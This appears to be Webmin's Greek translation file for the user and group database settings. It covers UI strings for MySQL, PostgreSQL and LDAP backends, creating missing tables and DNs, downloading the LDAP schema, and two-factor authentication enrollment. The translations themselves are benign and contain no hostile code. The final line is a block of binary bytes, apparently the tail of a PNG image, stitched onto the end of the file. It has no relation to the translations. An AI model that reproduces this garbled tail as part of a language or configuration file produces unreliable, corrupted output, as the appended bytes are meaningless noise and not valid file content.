sql_db=Όνομα βάσης δεδομένων
sql_ssl=Κρυπτογράφηση σύνδεσης
sql_ssl0=Καμία
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Κλάση αντικειμένου για χρήστες
sql_groupclass=Κλάση αντικειμένου για ομάδες
sql_euserclass=Μη ορισμένη ή μη έγκυρη κλάση αντικειμένου για χρήστες
sql_egroupclass=Μη ορισμένη ή μη έγκυρη κλάση αντικειμένου για ομάδες
sql_none=Χρήση μόνο τοπικών αρχείων για αποθήκευση χρηστών και ομάδων
sql_mysql=Χρήση Βάσης δεδομένων MySQL
sql_postgresql=Χρήση Βάσης δεδομένων PostgreSQL
sql_ldap=Χρήση διακομιστή LDAP
sql_prefix=Δημιουργία κάτω από DN
sql_addto0=Προσθήκη νέων χρηστών στη βάση δεδομένων που επιλέχθηκε παραπάνω
sql_addto1=Προσθήκη νέων χρηστών σε τοπικά αρχεία
sql_emod=Το απαραίτητο πρόσθετο της Perl <tt>$1</tt> λείπει
sql_etable=Αποτυχία ερωτήματος στον απαραίτητο πίνακα $1 : $2
sql_eldapdn=Το βασικό LDAP DN $1 δεν βρέθηκε
sql_eclass=Η κλάση αντικειμένου LDAP $1 δεν υπάρχει στο σχήμα του διακομιστή
sql_err=Αποτυχία αποθήκευσης ρυθμίσεων βάσης δεδομένων χρήστη και ομάδας
sql_ehost=Μη ορισμένο ή μη προσβάσιμο όνομα υπολογιστή
sql_euser=Μη ορισμένο ή μη έγκυρο όνομα χρήστη (δεν επιτρέπονται κενά)
sql_epass=Μη έγκυρος κωδικός πρόσβασης (δεν επιτρέπονται κενά)
sql_edb=Μη έγκυρο όνομα βάσης δεδομένων (δεν επιτρέπονται κενά)
sql_eprefix=Μη ορισμένο ή μη έγκυρο βασικό DN (δεν επιτρέπονται κενά)
sql_eprefix2=Μη έγκυρη μορφή βασικού DN - πρέπει να είναι του τύπου <tt>dc=mydomain,dc=com</tt>
sql_title2=Δημιουργία Πινάκων που Λείπουν
sql_tableerr=Οι ρυθμίσεις βάσης δεδομένων χρήστη και ομάδας είναι έγκυρες, αλλά λείπουν κάποιοι πίνακες που είναι απαραίτητοι στο Webmin : $1
sql_tableerr2=Πατήστε το παρακάτω κουμπί <b>Δημιουργία Πινάκων</b> για να δημιουργηθούν αυτόματα, ή εκτελέστε χειροκίνητα την παρακάτω εντολή SQL.
sql_make=Δημιουργία Πινάκων
sql_title3=Δημιουργία DN που λείπει
sql_dnerr=Οι ρυθμίσεις βάσης δεδομένων χρήστη και ομάδας είναι έγκυρες, αλλά το LDAP DN που χρειάζεται το Webmin λείπει : $1
sql_dnerr2=Πατήστε το παρακάτω κουμπί <b>Δημιουργία DN</b> για να δημιουργηθεί αυτόματα, ή προσθέστε το χειροκίνητα στον διακομιστή LDAP.
sql_makedn=Δημιουργία DN
sql_schema=Λήψη Σχήματος LDAP

make_title=Δημιουργία Πινάκων Χρηστών και Ομάδων
make_err=Αποτυχία δημιουργίας πινάκων χρηστών και ομάδων
make_exec=Εκτέλεση SQL $1 ..
make_failed=.. δημιουργία απέτυχε : $1
make_done=.. ολοκληρώθηκε
make_still=Βρέθηκαν κάποια προβλήματα ακόμη και μετά την δημιουργία του πίνακα : $1

makedn_title=Δημιουργία LDAP DN
makedn_eoc=Δεν βρέθηκαν κλάσεις δομικών αντικειμένων!
makedn_exec=Δημιουργία γονικού DN $1 ..
makedn_failed=.. δημιουργία απέτυχε : $1
makedn_done=.. ολοκληρώθηκε
makedn_still=Βρέθηκαν κάποια προβλήματα ακόμη και μετά την δημιουργία του DN : $1

schema_title=Λήψη Σχήματος LDAP
schema_desc=Πριν μπορέσει το Webmin να χρησιμοποιήσει έναν διακομιστή LDAP server για να αποθηκεύει χρήστες και ομάδες, πρέπει να ρυθμιστεί για να χρησιμοποιήσει το παρακάτω σχήμα. Αυτό τυπικά μπορεί να γίνει αποθηκεύοντας τον ορισμό του σχήματος στο <tt>/etc/ldap/schema</tt> ή στο <tt>/etc/openldap/schema</tt> σαν <tt>webmin.schema</tt>, και μετά να ρυθμίσετε το διακομιστεί ώστε να φορτώνει αυτό το αρχείο σχήματος.
schema_download=Λήψη αρχείου σχήματος : <a href=$1>$1</a>

twofactor_err=Αποτυχία ρύθμισης ελέγχου ταυτότητας δύο παραγόντων
twofactor_euser=Ο Webmin χρήστης σας δεν βρέθηκε!
twofactor_title=Έλεγχος Ταυτότητας Δύο Παραγόντων
twofactor_disable=Απενεργοποίηση Ελέγχου Ταυτότητας Δύο Παραγόντων
twofactor_already=Η σύνδεσή σας στο Webmin ήδη έχει ενεργό τον έλεγχο ταυτότητας δύο παραγόντων με τον παροχέα $1 και ID λογαριασμού $2.
twofactor_already2=Η σύνδεση Webmin $3 ήδη έχει ενεργό τον έλεγχο ταυτότητας δύο παραγόντων με τον παροχέα $1 και ID λογαριασμού $2.
twofactor_desc=Αυτή η σελίδα σας επιτρέπει να ενεργοποιήσετε έλεγχο ταυτότητας δύο παραγόντων για τη Webmin σύνδεσή σας χρησιμοποιώντας <a href='$2' target=_blank>$1</a>. Μόλις ενεργοποιηθεί, ένα επιπλέον διακριτικό ελέγχου ταυτότητας θα απαιτείται όταν συνδέεστε στο Webmin.
twofactor_desc2=Αυτή η σελίδα σας επιτρέπει να ενεργοποιήσετε έλεγχο ταυτότητας δύο παραγόντων για τη σύνδεση Webmin $3 χρησιμοποιώντας <a href='$2' target=_blank>$1</a>. Μόλις ενεργοποιηθεί, ένα επιπλέον διακριτικό ελέγχου ταυτότητας θα απαιτείται κατά τη σύνδεση στο Webmin.
twofactor_enable=Εγγραφή για Έλεγχο ταυτότητας δύο παραγόντων
twofactor_header=Λεπτομέρειες εγγραφής ελέγχου ταυτότητας δύο παραγόντων
twofactor_enrolling=Γίνεται εγγραφή για έλεγχο ταυτότητας δύο παραγόντων με τον παροχέα $1 ..
twofactor_failed=.. εγγραφή απέτυχε : $1
twofactor_done=.. ολοκληρώθηκε. Το ID σας με αυτόν τον παροχέα είναι <tt>$1</tt>.
twofactor_setup=Ο Έλεγχος ταυτότητας δύο παραγόντων δεν έχει ενεργοποιηθεί ακόμη σε αυτό το σύστημα, αλλά μπορεί να ενεργοποιηθεί χρησιμοποιώντας την ενότητα <a href='$1'>Διαμόρφωση Webmin</a>.
twofactor_ebutton=Δεν πατήθηκε κάποιο κουμπί!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`